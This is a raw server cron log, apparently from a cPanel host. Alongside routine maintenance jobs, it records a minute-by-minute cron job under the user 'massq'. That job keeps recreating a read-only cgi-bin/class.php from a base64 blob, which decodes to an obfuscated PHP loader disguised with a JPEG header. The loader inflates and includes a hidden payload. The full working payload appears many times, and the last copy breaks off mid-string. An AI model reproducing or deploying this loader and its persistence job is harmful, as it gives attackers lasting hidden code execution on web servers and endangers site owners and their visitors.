Sep  5 19:34:01 server CROND[20549]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:34:01 server CROND[20548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:35:01 server CROND[20945]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 19:35:01 server CROND[20951]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 19:35:01 server CROND[20954]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 19:35:01 server CROND[20948]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 19:35:01 server CROND[20947]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 19:35:01 server CROND[20949]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 19:35:01 server CROND[20953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:35:01 server CROND[20952]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:35:01 server CROND[20950]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:36:01 server CROND[21779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:36:01 server CROND[21781]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:36:01 server CROND[21782]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:37:01 server CROND[22164]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:37:01 server CROND[22163]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:37:01 server CROND[22165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:38:01 server CROND[22637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:38:01 server CROND[22638]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:38:01 server CROND[22639]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:39:01 server CROND[23201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:39:01 server CROND[23204]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 19:39:01 server CROND[23205]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:39:01 server CROND[23206]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:40:01 server CROND[23599]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 19:40:01 server CROND[23602]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 19:40:01 server CROND[23609]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:40:01 server CROND[23610]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 19:40:01 server CROND[23605]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 19:40:01 server CROND[23603]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 19:40:01 server CROND[23607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:40:01 server CROND[23608]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:41:01 server CROND[24442]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:41:01 server CROND[24444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:41:01 server CROND[24443]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:42:01 server CROND[24820]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 19:42:01 server CROND[24819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:42:01 server CROND[24821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:42:01 server CROND[24822]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:43:01 server CROND[25295]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:43:01 server CROND[25297]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:43:01 server CROND[25296]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:44:01 server CROND[25687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:44:01 server CROND[25686]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:44:01 server CROND[25688]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:45:01 server CROND[26069]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 19:45:01 server CROND[26072]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 19:45:01 server CROND[26073]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 19:45:01 server CROND[26078]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:45:01 server CROND[26076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:45:01 server CROND[26075]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGA